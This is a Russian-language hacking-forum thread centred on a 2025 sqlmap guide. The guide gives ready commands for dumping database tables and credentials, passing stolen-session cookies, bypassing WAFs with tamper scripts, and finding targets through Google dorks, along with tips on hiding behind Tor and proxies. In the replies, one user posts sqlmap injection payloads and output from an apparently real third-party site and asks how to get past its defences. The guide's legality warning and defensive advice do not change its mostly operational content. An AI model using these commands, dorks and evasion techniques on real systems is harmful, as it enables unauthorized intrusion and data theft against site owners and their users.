PDA

Просмотр полной версии : SQLMAP: Полное руководство 2025 по SQL-инъекциям. От основ до обхода WAF


mobius0707
20.09.2018, 11:25
Здравствуйте, небольшой мануал по поиску SQLi в примерах The SQL Injection Knowledge Base

moeimya
22.09.2018, 01:12
Печально когда доходишь до паролей а там AES

Sqlshik
07.01.2020, 23:50
И oпять вызываем уже знакомую процедуру --columns (колоночки) но уже по таблице "user_".

Код:



sqlmap -u http://www.gbhackers.com/cgi-bin/item.cgi?item_id=15 -D gbhackers-T user_info --columns


Далее меня заинтересовало то что в сети находяться 4ре хоста, но в колоночке Избыточность...

B6D4
08.01.2020, 16:56
https://forum.antichat.xyz/attachments/4865620/1578498912726.png

И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.

explorer
08.01.2020, 17:19
B6D4 сказал(а):

И что дальше делать?как увидеть логин и пароль?

Яполный ламер,не судите строго.


sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы -C название колонки --dump
или ещё проще, без названия колонки, вытащит сразу все данные изо всех колонок (применять, если данных мало)
sqlmap --random-agent -u http:/site.php?id=1 -D название базы -T название таблицы --dump

Hudjii5
13.02.2020, 09:21
Magnit сказал(а):

Объясните или, если не сложно, дайте ссылку где описано, в чем разница в параметрах --level u --risk
Много инфы, да и на практике CTF не один раз валил БД с --level=5 --risk=3
при включении v3 увидел разницу, что при параметре risk=1 не используются where, он требует risk=3, но что к примеру делает risk=2, и levels не понимаю
спасибо за ответ


Тоже хотелось бы подробнее узнать

sith_ortodox
01.03.2020, 11:25
Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)

kravl
07.03.2020, 00:28
Можно ли эти знания применять определенно на 1 сайт или только, те которые имеют подобный дорк ?

picasoready
19.07.2020, 01:24
самое главное не сказали, а где скачать этот sqlmap

jeric
21.07.2020, 11:36
picasoready сказал(а):

самое главное не сказали, а где скачать этот sqlmap

На их официальном сайте. Гугл тебе в помощь. Хотя наверное, это не твое...

Сергей Попов
01.07.2025, 00:03
https://forum.antichat.xyz/attachments/4824716/1751313927036.png

От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле античат — по делу и без воды.
Что умеет sqlmap? Ключевые возможности в 2025 году
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:

Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB. Полный список всегда есть на официальном сайте.

Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.

Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.

Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.

Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.

Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.

Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).

Выполнение команд на сервере (

--os-shell

): При определенных условиях можно получить полноценную командную строку на целевом сервере.

Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.

Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Как это работает под капотом: техники инъекций
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.

Error-based (На основе ошибок): Самый быстрый способ. Sqlmap пытается вызвать ошибку SQL (

...id=1'

) и парсит ее текст, чтобы извлечь данные. Сработает, только если сайт выводит отладочную информацию, что сегодня уже редкость.

UNION-based (На основе UNION): Классика. Инструмент подбирает правильное количество столбцов в запросе и объединяет его со своим через

UNION ALL SELECT

. Если повезет, данные из базы выводятся прямо на странице.

Boolean-based blind («Слепая» на основе логики): Когда сайт не показывает ошибок и данных, sqlmap начинает играть в игру «горячо-холодно». Он добавляет к запросу условия вроде

AND 1=1

и

AND 1=2

и смотрит, меняется ли страница. Так, по одному байту, он восстанавливает нужную информацию.

Time-based blind («Слепая» на основе времени): Самый медленный, но самый надежный метод. Если ничего другое не помогло, sqlmap добавляет в запрос команду задержки (

SLEEP(5)

). Если ответ сервера приходит с задержкой, значит, условие выполнилось. Это долго, но почти всегда работает.

Stacked queries (Пакетные запросы): Мощнейшая техника, если поддерживается СУБД. Позволяет выполнить несколько запросов за раз, разделив их точкой с запятой (

;

). Именно так можно не только читать, но и изменять данные или выполнять системные команды.

Out-of-band (Внеполосные): Самая продвинутая техника. Заставляет базу данных саму отправить данные на сервер атакующего (например, через DNS-запрос). Требует специфических настроек и прав.
Пробиваемся через WAF: Tamper-скрипты и хитрости
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол.

Они умеют:

Кодировать полезную нагрузку (Base64, HEX).

Заменять пробелы на комментарии (

/**/

).

Менять регистр символов (

SeLeCt

).

Вставлять "мусор" и многое другое. Их больше 50 штук!
Пример команды для обхода популярных WAF (вроде Cloudflare, ModSecurity):

Bash:



sqlmap -u
"http://site/?id=1"
--tamper
=
space2comment,randomcase,base64encode --level
=
5
--risk
=
3
--random-agent


Наши советы по обходу:

Начинайте с простого:

space2comment

или

chardump

— классика.

Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.

Маскируйтесь: Всегда используйте

--random-agent

, чтобы не палиться по стандартному User-Agent от sqlmap.

Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.

Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью

proxychains

.
Важнейшие параметры:

--level

и

--risk


Многие новички копируют команды, не понимая этих ключей. А это критически важно.


--level=...

(от 1 до 5): Глубина проверки.

level=1

(по умолчанию): Проверяются только GET и POST параметры.


level=2

: Добавляется проверка Cookie.


level=3

: Добавляется User-Agent и Referer.


level=5

: Проверяется абсолютно всё. Начинайте с

level=5

, чтобы ничего не упустить.



--risk=...

(от 1 до 3): Степень риска.

risk=1

(по умолчанию): Только безобидные запросы.


risk=2

: Добавляются "тяжелые" time-based запросы.


risk=3

: Добавляются запросы, которые могут изменять данные (например,

OR

в

UPDATE

).

Золотое правило:

risk=3

используйте с большой осторожностью! На слабом сервере тяжелые запросы могут вызвать отказ в обслуживании (DoS). Неприятно, правда?
Закон и этика: это не игрушки
Запомните раз и навсегда:

sqlmap

— это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ).

Последствия могут быть серьезными:

Уголовная и гражданская ответственность.

Блокировка вашего IP-адреса навсегда.

Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Если вы серьезно настроены превратить эти навыки в профессию, важно понимать весь путь. Начать можно с подробного руководства на форуме, которое поможет сориентироваться: Руководство для начинающего пентестера: как войти в профессию с нуля (https://forum.antichat.xyz/threads/584955/).Используйте инструмент только если у вас есть официальный договор на пентест или вы действуете в рамках публичной политики Bug Bounty. В остальных случаях — тренируйтесь на специально созданных для этого лабораториях (например, DVWA, bWAPP).
Как начать: пошаговый план
Прежде чем мы перейдем к конкретным командам, полезно понимать, как этот инструмент вписывается в общую картину. Если вы хотите лучше разобраться в том, что такое пентест и чем он отличается от работы Red Team, на форуме есть отличный обзорный материал: Всё о Пентесте и Red Team для новичков в новых реалиях (https://forum.antichat.xyz/threads/584913/).
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:

Код:



inurl:.php?id=
inurl:product.php?item_id=
inurl:article.php?cat_id=


Сегодня большинство таких URL уже пропатчены. Но для понимания механики это отличный старт.
Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку (

'

) в конец параметра URL:


http://test-site.com/product.php?id=123'


Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.
Шаг 3: Эксплуатация с помощью sqlmap

Простая проверка и получение списка БД

Bash:



sqlmap -u
"http://test-site.com/product.php?id=123"
--dbs


Получение таблиц из конкретной БД

Bash:



sqlmap -u
"..."
-D target_db --tables


Получение столбцов из таблицы

Bash:



sqlmap -u
"..."
-D target_db -T
users
--columns


Дампинг данных из столбцов

Bash:



sqlmap -u
"..."
-D target_db -T
users
-C username,password --dump

А если сайт требует логин?
В 99% случаев интересные уязвимости находятся за формой входа. Чтобы

sqlmap

работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.

Залогиньтесь на сайте через браузер.

Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.

Скопируйте значение вашей сессионной cookie (например,

PHPSESSID=a1b2c3d4e5f6

).

Добавьте ее в команду:

Bash:



sqlmap -u
"http://site.com/profile.php?id=1"
--cookie
=
"PHPSESSID=a1b2c3d4e5f6"
--dbs

Еще удобнее — перехватить запрос в Burp Suite, сохранить его в файл

request.txt

и скормить sqlmap:

sqlmap -r request.txt

.
А что насчет API и JSON?
Да,

sqlmap

умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой

*

:

Bash:



sqlmap -u
"http://api.site.com/v1/user"
--method
=
POST --data
=
'{"id": 1, "role": "user"}'
--headers
=
"Content-Type: application/json"
-p
"id"


Или просто укажите, какой параметр проверять, с помощью флага

-p

.
Как защититься? Советы для разработчиков
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:

Параметризованные запросы (Prepared Statements): Это золотой стандарт и самый надежный метод. Данные передаются в базу отдельно от самого SQL-запроса, и СУБД просто не может их исполнить. Используйте их всегда. ORM (Object-Relational Mapping) в современных фреймворках делают это по умолчанию.

Принцип наименьших привилегий: Пользователь БД, от имени которого ваше веб-приложение работает с базой, должен иметь минимально необходимые права. Только

SELECT

,

INSERT

,

UPDATE

для своих таблиц. Никаких

FILE

,

SHUTDOWN

или прав администратора (

dbo

).

Хорошо настроенный WAF: Не просто включить "для галочки". WAF должен работать в режиме блокировки, а его правила — регулярно обновляться.

Валидация и фильтрация входных данных: Проверяйте все, что приходит от пользователя. Если ожидается число — убедитесь, что это число. Если email — проверьте его формат регулярным выражением.

Отключение вывода ошибок: На продакшн-сервере пользователи никогда не должны видеть отладочную информацию и тексты ошибок СУБД.

Регулярный аудит и пентесты: Нанимайте специалистов или проводите Bug Bounty программы, чтобы найти дыры раньше, чем их найдут злоумышленники.
Вместо заключения
Sqlmap — это невероятно мощный скальпель в руках специалиста. Но, как и любой инструмент, он требует понимания. Важно не просто заучить команды, а осознавать, что происходит "под капотом", помнить об ответственности и всегда думать на два шага вперед — не только как атаковать, но и как защититься.

Надеюсь, это руководство поможет вам в ваших (легальных!) исследованиях. Успешного пентеста и безопасного кода!

Продолжение: Гайд по SQL-инъекциям: SQLMap + Hashcat (https://forum.antichat.xyz/threads/565033/)



Обновлено и дополнено командой античат на основе официальной документации sqlmap и практического опыта.

delifer
01.07.2025, 11:10
sith_ortodox сказал(а):

Неплохо бы еще добавлять параметры --tor и --check-tor (добавит немножко анонимности в пентест)


а смысл? Мы тут всё по договору делаем, легально, боюсь это не требуется)

gamoxy
25.11.2025, 02:15
Parameter: page_id (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause

Payload: page_id=-6154) OR 5450=5450 AND (8862=8862&amp=1

Type: UNION query

Title: Generic UNION query (random number) - 8 columns

Payload: page_id=-6697) UNION ALL SELECT 6812,6812,6812,6812,6812,6812,6812,'qjqxq'||'XrrFQ nvzWGtBSHNuZlXbUDgQvCKGcXoHkTZgeAfY'||'qjvkq';--&amp=1

---

do you want to exploit this SQL injection? [Y/n] Y

[08:14:07] [INFO] testing CrateDB

[08:14:08] [WARNING] the back-end DBMS is not CrateDB

[08:14:08] [INFO] testing MySQL

[08:14:10] [WARNING] the back-end DBMS is not MySQL

[08:14:10] [INFO] testing Oracle

[08:14:11] [WARNING] the back-end DBMS is not Oracle

[08:14:11] [INFO] testing PostgreSQL

[08:14:12] [WARNING] the back-end DBMS is not PostgreSQL

[08:14:12] [INFO] testing Microsoft SQL Server

[08:14:14] [WARNING] the back-end DBMS is not Microsoft SQL Server

[08:14:14] [INFO] testing SQLite

[08:14:15] [WARNING] the back-end DBMS is not SQLite

[08:14:15] [INFO] testing Microsoft Access

[08:14:16] [WARNING] the back-end DBMS is not Microsoft Access

[08:14:16] [INFO] testing Firebird

[08:14:17] [WARNING] the back-end DBMS is not Firebird

[08:14:17] [INFO] testing SAP MaxDB

[08:14:18] [WARNING] the back-end DBMS is not SAP MaxDB

[08:14:18] [INFO] testing Sybase

[08:14:19] [WARNING] the back-end DBMS is not Sybase

[08:14:19] [INFO] testing IBM DB2

[08:14:20] [WARNING] the back-end DBMS is not IBM DB2

[08:14:20] [INFO] testing HSQLDB

[08:14:21] [WARNING] the back-end DBMS is not HSQLDB

[08:14:21] [INFO] testing H2

[08:14:22] [WARNING] the back-end DBMS is not H2

[08:14:22] [INFO] testing Informix

[08:14:23] [WARNING] the back-end DBMS is not Informix

[08:14:23] [INFO] testing MonetDB

[08:14:24] [WARNING] the back-end DBMS is not MonetDB

[08:14:24] [INFO] testing Apache Derby

[08:14:26] [WARNING] the back-end DBMS is not Apache Derby

[08:14:26] [INFO] testing Vertica

[08:14:27] [WARNING] the back-end DBMS is not Vertica

[08:14:27] [INFO] testing Mckoi

[08:14:29] [WARNING] the back-end DBMS is not Mckoi

[08:14:29] [INFO] testing Presto

[08:14:30] [WARNING] the back-end DBMS is not Presto

[08:14:30] [INFO] testing Altibase

[08:14:31] [WARNING] the back-end DBMS is not Altibase

[08:14:31] [INFO] testing MimerSQL

[08:14:32] [WARNING] the back-end DBMS is not MimerSQL

[08:14:32] [INFO] testing ClickHouse

[08:14:32] [WARNING] the back-end DBMS is not ClickHouse

[08:14:32] [INFO] testing Cubrid

[08:14:33] [WARNING] the back-end DBMS is not Cubrid

[08:14:33] [INFO] testing InterSystems Cache

[08:14:34] [WARNING] the back-end DBMS is not InterSystems Cache

[08:14:34] [INFO] testing eXtremeDB

[08:14:35] [WARNING] the back-end DBMS is not eXtremeDB

[08:14:35] [INFO] testing FrontBase

[08:14:37] [WARNING] the back-end DBMS is not FrontBase

[08:14:37] [INFO] testing Raima Database Manager

[08:14:38] [WARNING] the back-end DBMS is not Raima Database Manager

[08:14:38] [INFO] testing Virtuoso

[08:14:39] [WARNING] the back-end DBMS is not Virtuoso

[08:14:39] [ERROR] sqlmap was not able to fingerprint the back-end database management system, skipping to the next target

SQL injection vulnerability has already been detected against 'alwalalyemeni.com'. Do you want to skip further tests involving it? [Y/n] Y

[08:14:39] [INFO] skipping 'من نحن - alwalaly'

[08:14:39] [INFO] skipping '- alwalaly'

[08:14:39] [INFO] skipping 'الوزير - alwalaly'

[08:14:39] [INFO] skipping 'الوعل - alwalaly'

[08:14:39] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'Local\sqlmap\output\results-11052025_0906pm.csv'

ending @ 08:14:39 /2025-11-06/

Что мне делать дальше? Я не могу обойти защиту.

Valentin_K
25.03.2026, 13:18
Спасибо за гайд. Хорошее объяснение, причем на русском языке.
+ полезные ссылки по пентесту.
Одним словом отличный материал для интересующихся в кибербезе людей)

deniska1986
12.06.2026, 15:15
Я скачивал sqlmap с официального репозитория на GitHub, там всегда свежие версии. Просто поискал "sqlmap github" и загрузил архив или клонировал через git. Там пояснения есть, как запускать, на русском тоже можно найти много гайдов. Главное, не берись сразу за сложные фичи, сначала понять базу.

yantrix
15.06.2026, 01:00
Ну, sqlmap — это не волшебная палочка, чтоб сразу через WAF прошмыгать. Там терпение нужно и эксперименты с тамперами и уровнями риска. Если сразу не проходит — пробуй разные комбинации скриптов и не забывай менять юзер-агент, иначе пролеты гарантированы. В наше время почти на каждом серьезном сайте какие-то защиты, так что просто долбись постепенно, легких путей уже почти не осталось.

invasion_elf&reg
15.06.2026, 21:20
Не всё так просто с обходом WAF, особенно если он хорошо настроен. SQLMap — мощный инструмент, но без правильных tamper-скриптов и понимания, что именно фильтрует WAF, пользы мало. Лучше начать с анализа конкретных правил защиты и постепенной подстройки payload'ов, а не пытаться пройти всё на автомате. Терпение и внимание к деталям — вот что реально помогает.

КОВАЛЬ
17.06.2026, 11:00
Пофиг на все эти танцы с тамперами, если сайт хорошо настроен — sqlmap просто фигачит тесты и мимо проходит. Тут главное не ждать лёгких путей, а вдумчиво идти к цели. Если база не определяется, значит реально что-то непонятное там стоит, может, сами скрипты надо руками подгонять. В любом случае, просто давить кнопку «Y» — не выход, надо голову включать.